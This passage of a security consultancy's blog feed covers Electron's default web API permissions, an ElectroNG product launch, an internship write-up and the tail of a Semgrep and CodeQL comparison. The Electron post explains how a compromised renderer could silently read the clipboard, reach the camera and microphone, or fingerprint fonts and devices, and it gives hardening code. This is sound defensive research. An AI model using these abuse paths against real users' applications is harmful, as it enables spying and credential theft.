&lt;p&gt;Not surprisingly, in the end, we still feel &lt;strong&gt;Semgrep is a better tool for our use as a security consultancy boutique&lt;/strong&gt; doing high-quality manual audits. This is because we don’t always have access to all the source code that we’d need to use CodeQL, the process of setting up scans is more laborious and time consuming in CodeQL. Additionally, we can manually vet findings ourselves - so a few extra findings isn’t a major issue for us and we can use it for free. If an organization’s use-case is more aligned with our client’s - being an organization that is willing to invest the time and effort, is particularly sensitive to false positives (e.g. running a scan during CI/CD) and doesn’t mind paying for the licensing, CodeQL might be a better choice for them.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Diving Into Electron Web API Permissions</title>
   <link href="https://blog.doyensec.com/2022/09/27/electron-api-default-permissions.html"/>
   <updated>2022-09-27T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/09/27/electron-api-default-permissions</id>
   <content type="html">&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;
&lt;p&gt;When a Chrome user opens a site on the Internet that requests a permission, Chrome displays a large prompt in the top left corner. The prompt remains visible on the page until the user interacts with it, reloads the page, or navigates away. The permission prompt has &lt;em&gt;Block&lt;/em&gt; and &lt;em&gt;Allow&lt;/em&gt; buttons, and an option to close it. On top of this, Chrome 98 displays the full prompt only if the permission was triggered &lt;em&gt;“through a user gesture when interacting with the site itself”&lt;/em&gt;. These precautionary measures are the only things preventing a malicious site from using APIs that could affect user privacy or security.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/permission-prompt-chrome.png&quot; title=&quot;Chrome Permission Prompt&quot; alt=&quot;Chrome Permission Prompt&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 300px;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;Since Chrome implements this pop-up box, how does Electron handle permissions? From Electron’s documentation:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“In Electron the permission API is based on Chromium and implements the same types of permissions. By default, Electron will automatically approve all permission requests unless the developer has manually configured a custom handler. While a solid default, security-conscious developers might want to assume the very opposite.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This approval can lead to serious security and privacy consequences if the renderer process of the Electron application were to be compromised via unsafe navigation (e.g., open redirect, clicking links) or cross-site scripting. We decided to investigate how Electron implements various permission checks to compare Electron’s behavior to that of Chrome and determine how a compromised renderer process may be able to abuse web APIs.&lt;/p&gt;

&lt;h3 id=&quot;webcam-microphone-and-screen-recording-permissions&quot;&gt;Webcam, Microphone, and Screen Recording Permissions&lt;/h3&gt;
&lt;p&gt;The webcam, microphone, and screen recording functionalities present a serious risk to users when approval is granted by default. Without implementing a permission handler, an Electron app’s renderer process will have access to a user’s webcam and microphone. However, screen recording requires the Electron app to have configured a source via a desktopCapturer in the main process. This leaves little room for exploitability from the renderer process, unless the application already needs to record a user’s screen.&lt;/p&gt;

&lt;p&gt;Electron groups these three into one permission, “media”. In Chrome, these permissions are separate. Electron’s lack of separation between these three is problematic because there may be cases where an application only requires the microphone, for example, but must also be granted access to record video. By default, the application would not have the capability to deny access to video without also denying access to audio. For those wondering, modern Electron apps seemingly handling microphone &amp;amp; video permissions separately, are only tracking and respecting the user choices in their UI. An attacker with a compromised renderer could still access any media.&lt;/p&gt;

&lt;p&gt;It is also possible for media devices to be enumerated even when permission has not been granted. In Chrome however, an origin can only see devices that it has permission to use. The API &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;navigator.mediaDevices.enumerateDevices()&lt;/code&gt; will return all of the user’s media devices, which can be used to fingerprint the user’s devices. For example, we can see a label of “Default - MacBook Pro Microphone (Built-in)”, despite having a deny-all permission handler.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/navigator-enumeratedevices.png&quot; title=&quot;navigator.mediaDevices.enumerateDevices()&quot; alt=&quot;navigator.mediaDevices.enumerateDevices()&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;To deny access to all media devices (but not prevent enumerating the devices), a permission handler must be implemented in the main process that rejects requests for the “media” permission.&lt;/p&gt;

&lt;h3 id=&quot;file-system-access-api&quot;&gt;File System Access API&lt;/h3&gt;
&lt;p&gt;The File System Access API normally allows access to read and write to local files. In Electron, reading files has been implemented but writing to files has not been implemented and permission to write to files is always denied. However, access to read files is always granted when a user selects a file or directory. In Chrome, when a user selects a file or directory, Chrome notifies you that you are granting access to a specific file or directory until all tabs of that site are closed. In addition, Chrome prevents access to directories or files that are deemed too sensitive to disclose to a site. These are both considerations mentioned in the API’s standard (&lt;a href=&quot;https://wicg.github.io/file-system-access/#privacy-wide-access&quot;&gt;discussed by the WICG&lt;/a&gt;).&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;“User agents should try to make sure that users are aware of what exactly they’re giving websites access to”&lt;/em&gt; – implemented in Chrome with the notification after choosing a file or directory&lt;/li&gt;
&lt;/ul&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/file-permission-1.png&quot; title=&quot;Chrome's prompt: Let site view files?&quot; alt=&quot;Chrome's prompt: Let site view files?&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; max-width: 300px;&quot; /&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;“User agents are encouraged to restrict which directories a user is allowed to select in a directory picker, and potentially even restrict which files the user is allowed to select”&lt;/em&gt; – implemented in Chrome by preventing users from sharing certain directories containing system files.
In Electron, there is no such notification or prevention. A user is allowed to select their root directory or any other sensitive directory, potentially granting more access than intended to a website. There will be no notification alerting the user of the level of access they will be granting.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;clipboard-notification-and-idle-detection-apis&quot;&gt;Clipboard, Notification, and Idle Detection APIs&lt;/h3&gt;
&lt;p&gt;For these three APIs, the renderer process is granted access by default. This means a compromised renderer process can read the clipboard, send desktop notifications, and detect when a user is idle.&lt;/p&gt;

&lt;h4 id=&quot;clipboard&quot;&gt;Clipboard&lt;/h4&gt;
&lt;p&gt;Access to the user’s clipboard is extremely security-relevant because some users will copy passwords or other sensitive information to the clipboard. Normally, Chromium denies access to reading the clipboard unless it was triggered by a user’s action. However, we found that adding an event handler for the window’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;load&lt;/code&gt; event would allow us to read the clipboard without user interaction.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/electron-clipboard-1.png&quot; title=&quot;Cliboard Reading Callback&quot; alt=&quot;Cliboard Reading Callback&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/electron-clipboard-2.png&quot; title=&quot;Cliboard Reading Callback&quot; alt=&quot;Cliboard Reading Callback&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;To deny access to this API, deny access to the “&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;clipboard-read&lt;/code&gt;” permission.&lt;/p&gt;

&lt;h4 id=&quot;notifications&quot;&gt;Notifications&lt;/h4&gt;
&lt;p&gt;Sending desktop notifications is another security-relevant feature because desktop notifications can be used to increase the success rate of phishing or other social engineering attempts.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/electron-notifications-api.png&quot; title=&quot;PoC for Notification API Attack&quot; alt=&quot;PoC for Notification API Attack&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;To deny access to this API, deny access to the “&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;notifications&lt;/code&gt;” permission.&lt;/p&gt;

&lt;h4 id=&quot;idle-detection&quot;&gt;Idle Detection&lt;/h4&gt;
&lt;p&gt;The Idle Detection API is much less security-relevant, but its abuse still represents a violation of user privacy.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/electron-idledetection-api.png&quot; title=&quot;Idle Detection API abuse&quot; alt=&quot;Idle Detection API abuse&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;To deny access to this API, deny access to the “&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;idle-detection&lt;/code&gt;” permission.&lt;/p&gt;

&lt;h4 id=&quot;local-font-access-api&quot;&gt;Local Font Access API&lt;/h4&gt;
&lt;p&gt;For this API, the renderer process is granted access by default. Furthermore, the main process never receives a permission request. This means that a compromised renderer process can always read a user’s fonts. This behavior has significant privacy implications because the user’s local fonts can be used as a fingerprint for tracking purposes and they may even reveal that a user works for a specific company or organization. Yes, we do use custom fonts for our reports!&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/electron-local-font-access.png&quot; title=&quot;Local Font Access API abuse&quot; alt=&quot;Local Font Access API abuse&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;security-hardening-for-electron-app-permissions&quot;&gt;Security Hardening for Electron App Permissions&lt;/h3&gt;

&lt;p&gt;What can you do to reduce your Electron application’s risk? You can quickly assess if you are mitigating these issues and the effectiveness of your current mitigations using &lt;a href=&quot;https://get-electrong.com/&quot;&gt;ElectroNG&lt;/a&gt;, the first SAST tool capable of rapid vulnerability detection and identifying missing hardening configurations. Among its many features, ElectroNG features a dedicated check designed to identify if your application is secure from permission-related abuses:&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/electrong-permission.png&quot; title=&quot;ElectroNG Permission Check&quot; alt=&quot;ElectroNG Permission Check&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;A secure application will usually deny all the permissions for dangerous web APIs by default. This can be achieved by adding a permission handler to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Session&lt;/code&gt; as follows:&lt;/p&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;nx&quot;&gt;ses&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setPermissionRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;webContents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;permission&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;If your application needs to allow the renderer process permission to access some web APIs, you can add exceptions by modifying the permission handler. We recommend checking if the origin requesting permission matches an expected origin. It’s a good practice to also set the permission request handler to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt; first to force any permission to be requested again. Without this, revoked permissions might still be available if they’ve already been used successfully.&lt;/p&gt;
&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;defaultSession&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setPermissionRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h3&gt;
&lt;p&gt;As we discussed, these permissions present significant risk to users even in Electron applications setting the most restrictive &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webPreferences&lt;/code&gt; settings. Because of this, it’s important for security teams &amp;amp; developers to strictly manage the permissions that Electron will automatically approve unless the developer has manually configured a custom handler.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>ElectroNG, our premium SAST tool released!</title>
   <link href="https://blog.doyensec.com/2022/09/06/electrong-launch.html"/>
   <updated>2022-09-06T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/09/06/electrong-launch</id>
   <content type="html">&lt;p&gt;As promised in November 2021 at &lt;a href=&quot;https://cyberweek.ae/&quot;&gt;Hack In The Box&lt;/a&gt; &lt;em&gt;#CyberWeek&lt;/em&gt; event in Abu Dhabi, we’re excited to announce that &lt;strong&gt;ElectroNG&lt;/strong&gt; is now available for purchase at &lt;a href=&quot;https://get-electrong.com/&quot;&gt;https://get-electrong.com/&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://get-electrong.com/&quot;&gt;
  &lt;img src=&quot;../../../public/images/electrong-banner.png&quot; title=&quot;ElectronNG Launch Banner&quot; alt=&quot;ElectronNG UI&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Our premium SAST tool for &lt;a href=&quot;https://www.Electron.org/&quot;&gt;Electron&lt;/a&gt; applications is the result of many years of applied R&amp;amp;D! Doyensec has been the leader in Electron security since being the first security company to publish a comprehensive security overview of the Electron framework during &lt;a href=&quot;https://www.blackhat.com/us-17/briefings.html#electronegativity-a-study-of-electron-security&quot;&gt;BlackHat USA 2017&lt;/a&gt;. Since then, we have reported dozens of vulnerabilities in the framework itself and popular Electron-based applications.&lt;/p&gt;

&lt;h3 id=&quot;a-bit-of-history&quot;&gt;A bit of history&lt;/h3&gt;

&lt;p&gt;We launched &lt;a href=&quot;https://github.com/doyensec/electronegativity&quot;&gt;Electronegativity OSS&lt;/a&gt; at the beginning of 2019 as a set of scripts to aid the manual auditing of Electron apps. Since then, we’ve released numerous updates, educated developers on security best practices, and grown a strong community around Electron application security. Electronegativity is even mentioned in the &lt;a href=&quot;https://www.Electron.org/docs/latest/tutorial/security&quot;&gt;official security documentation&lt;/a&gt; of the framework.&lt;/p&gt;

&lt;p&gt;At the same time, &lt;a href=&quot;https://www.Electron.org/&quot;&gt;Electron&lt;/a&gt; has established itself as the framework of choice for developing multi-OS desktop applications. It is now used by over a thousand public desktop applications and many more internal tools and custom utilities. Major tech companies are betting on this technology by devoting significant resources to it, and it is now evident that Electron is here to stay.&lt;/p&gt;

&lt;h3 id=&quot;whats-new&quot;&gt;What’s new?&lt;/h3&gt;

&lt;p&gt;Considering the evolution of the framework and emerging threats, we had quickly realized that Electronegativity was in need of a significant refresh, in terms of detection and features, to be able to help modern companies in “building with security”.&lt;/p&gt;

&lt;p&gt;At the end of 2020, we sat down to create a project roadmap and created a development team to work on what is now ElectroNG. In this blog post, we will highlight some of the major improvements over the OSS version. There is much more under the hood, and we will be covering more features in future posts and presentations.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://get-electrong.com/&quot;&gt;
  &lt;img src=&quot;../../../public/images/electrongui.png&quot; title=&quot;ElectronNG UI&quot; alt=&quot;ElectronNG UI&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;h4 id=&quot;user-interface&quot;&gt;User Interface&lt;/h4&gt;

&lt;p&gt;If you’ve ever used Electronegativity, it would be obvious that ElectroNG is no longer a command-line tool. Instead, we’ve built a modern desktop app (using Electron!).&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;video controls=&quot;&quot; poster=&quot;../../../public/images/electrongui.png&quot; title=&quot;ElectroNG Product Demo&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;true&quot; playsinline=&quot;&quot; align=&quot;center&quot; style=&quot;max-width: 80%; padding: 5px; border-radius: 10px; display: inline-block; margin-left: auto; margin-right: auto;&quot;&gt;
  &lt;source src=&quot;../../../public/images/ElectroNGdemo.mp4&quot; type=&quot;video/mp4&quot; /&gt;
	Your browser does not support the video tag.
  &lt;/video&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h4 id=&quot;better-detection-more-checks&quot;&gt;Better Detection, More Checks&lt;/h4&gt;

&lt;p&gt;ElectroNG features a new decision mechanism to flag security issues based on improved &lt;em&gt;HTML/JavaScript/Typescript&lt;/em&gt; parsing and new heuristics. After developing that, we improved all existing atomic and conditional checks to reduce the number of false positives and improve accuracy. There are now over 50 checks to detect misconfigurations and security vulnerabilities!&lt;/p&gt;

&lt;p&gt;However, the most significant improvement revolves around the creation of Electron-dependent checks. ElectroNG will attempt to determine the specific version of the framework in use by the application and dynamically adjust the scan results based on that. Considering that Electron APIs and options change very frequently, this boosts the tool’s reliability in determining things that matter.&lt;/p&gt;

&lt;p&gt;To provide a concrete example to the reader, let’s consider a lesser-known setting named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;affinity&lt;/code&gt;. Electron v2 introduced a new BrowserView/BrowserWindow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webPreferences&lt;/code&gt; option for gathering several windows into a single process. When specified, web pages loaded by BrowserView/BrowserWindow instances with the same affinity will run in the same renderer process. While this setting was meant to improve performance, it leads to unexpected results across different Electron versions.&lt;/p&gt;

&lt;p&gt;Let’s consider the following code snippet:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;createWindow&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// Create the browser window.&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;firstWin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BrowserWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;600&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;webPreferences&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;nodeIntegration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;affinity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;secPrefs&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;secondWin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;BrowserWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;600&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;webPreferences&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;nodeIntegration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;affinity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;secPrefs&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;firstWin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loadFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;index.html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;secondWin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loadFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;index.html&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration&lt;/code&gt; setting defined by the two &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webPreferences&lt;/code&gt; definitions, one might expect the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow&lt;/code&gt; to have access to Node.js primitives while the second one to be isolated. This is not always the case and this inconsistency might leave an insecure &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow&lt;/code&gt; open to attackers.&lt;/p&gt;

&lt;p&gt;The results across different Electron versions are surprising to say the least:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/affinity-tests.png&quot; title=&quot;Affinity Diff By Versions&quot; alt=&quot;Affinity Diff By Versions&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;affinity&lt;/code&gt; option has been fully deprecated in v14 as part of the Electron maintainers’ plan to more closely align with Chromium’s process model for security, performance, and maintainability. This example demonstrates two important things around renderers’ settings:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The specific Electron in use determines which &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webPreferences&lt;/code&gt; are applicable and which aren’t&lt;/li&gt;
  &lt;li&gt;The semantic and security implications of some &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;webPreferences&lt;/code&gt; change based on the specific version of the framework&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;terms-and-price&quot;&gt;Terms and Price&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;ElectroNG is available for online purchase at $688/year per user&lt;/strong&gt;. Visit &lt;a href=&quot;https://get-electrong.com/buy.html&quot;&gt;https://get-electrong.com/buy.html&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The license does not limit the number of projects, scans, or even installations as long as the software is installed on machines owned by a single individual person. If you’re a consultant, you can run ElectroNg for any number of applications, as long as you are running it and not your colleagues or clients. For bulk orders (over 50 licenses), &lt;a href=&quot;mailto:electrong-sales@doyensec.com&quot;&gt;contact us&lt;/a&gt;!&lt;/p&gt;

&lt;h3 id=&quot;electronegativity--electrong&quot;&gt;Electronegativity &amp;amp; ElectroNG&lt;/h3&gt;

&lt;p&gt;With the advent of ElectroNG, we have already received emails asking about the future of &lt;a href=&quot;https://github.com/doyensec/electronegativity&quot;&gt;Electronegativity&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Electronegativity &amp;amp; ElectroNG will coexist. Doyensec will continue to support the OSS project as we have done for the past years. As usual, we look forward to external contributions in the form of pull requests, &lt;a href=&quot;https://github.com/doyensec/electronegativity/issues&quot;&gt;issues&lt;/a&gt;, and documentation.&lt;/p&gt;

&lt;p&gt;ElectroNG’s development focus will be towards features that are important for the paid customers with the ultimate goal of providing an effective and easy-to-use security scanner for Electron apps. Having a team behind this new project will also bring innovation to Electronegativity since bug fixes and features that are applicable to the OSS version will be also ported.&lt;/p&gt;

&lt;p&gt;As successfully done in the past by other projects, we hope that the coexistence of a free community and paid versions of the tool will give users the flexibility to pick whatever fits best. Whether you’re an individual developer, a small consulting boutique, or a big enterprise, we believe that Electronegativity &amp;amp; ElectroNG can help eradicate security vulnerabilities from your Electron-based applications.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>My Internship Experience at Doyensec</title>
   <link href="https://blog.doyensec.com/2022/08/24/intern-experience.html"/>
   <updated>2022-08-24T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2022/08/24/intern-experience</id>
   <content type="html">&lt;p&gt;Throughout the Summer of 2022, I worked as an intern for Doyensec. I’ll be describing my experience with Doyensec in this blog post so that other potential interns can decide if they would be interested in applying.&lt;/p&gt;

&lt;h3 id=&quot;the-recruitment-process&quot;&gt;The Recruitment Process&lt;/h3&gt;
&lt;p&gt;The recruitment process began with a non-technical call about the internship to make introductions and exchange more information. Once everyone agreed it was a fit, we scheduled a technical challenge where I was given two hours to provide my responses. I enjoyed the challenge and did not find it to be a waste of time. 
After the technical challenge, I had two technical interviews with different people (Tony and John). I thought these went really well for questions about web security, but I didn’t know the answers to some questions about other areas of application security I was less familiar with. Since Doyensec performs assessments of non-web applications as well (mobile, desktop, etc.), it made sense that they would ask some questions about non-web topics. 
After the final call, I was provided with an offer via email.&lt;/p&gt;

&lt;h3 id=&quot;the-work&quot;&gt;The Work&lt;/h3&gt;
&lt;p&gt;As an intern, my time was divided between working on an internal training presentation, conducting research, and performing security assessments.
Creating the training presentation allowed me to learn more about a technical topic that will probably be useful for me in the future, whether at Doyensec or not. I used some of my research time to learn about the topic and make the presentation. My presentation was on the advanced features of &lt;a href=&quot;https://www.semgrep.dev/&quot;&gt;Semgrep&lt;/a&gt;, the open-source static code analysis tool. Doyensec often has cross-training sessions where members of the team demonstrate new tools and techniques, or just the latest “Best Bug” they found on an engagement.&lt;/p&gt;

&lt;p&gt;Conducting research was a good experience as an intern because it allowed me to learn more about the research topic, which in my case was Electron and its implementation of web API permissions. Don’t worry too much about not having a good research topic of your own already – there are plenty of things that have already been selected as options, and you can ask for help choosing a topic if you’re not sure what to research. My research topic was originally someone else’s idea.&lt;/p&gt;

&lt;p&gt;My favorite part of the internship was helping with security assessments. I was able to work as a normal consultant with some extra guidance. I learned a lot about different web frameworks and programming languages. I was able to see what technologies real companies are using and review real source code. For example, before the internship, I had very limited experience with applications written in Go, but now I feel mostly comfortable testing Go web applications. I also learned more about mobile applications, which I had limited experience with. In addition to learning, I was able to provide actionable findings to businesses to help reduce their risk. I found vulnerabilities of all severities and wrote reports for these with recommended remediation steps.&lt;/p&gt;

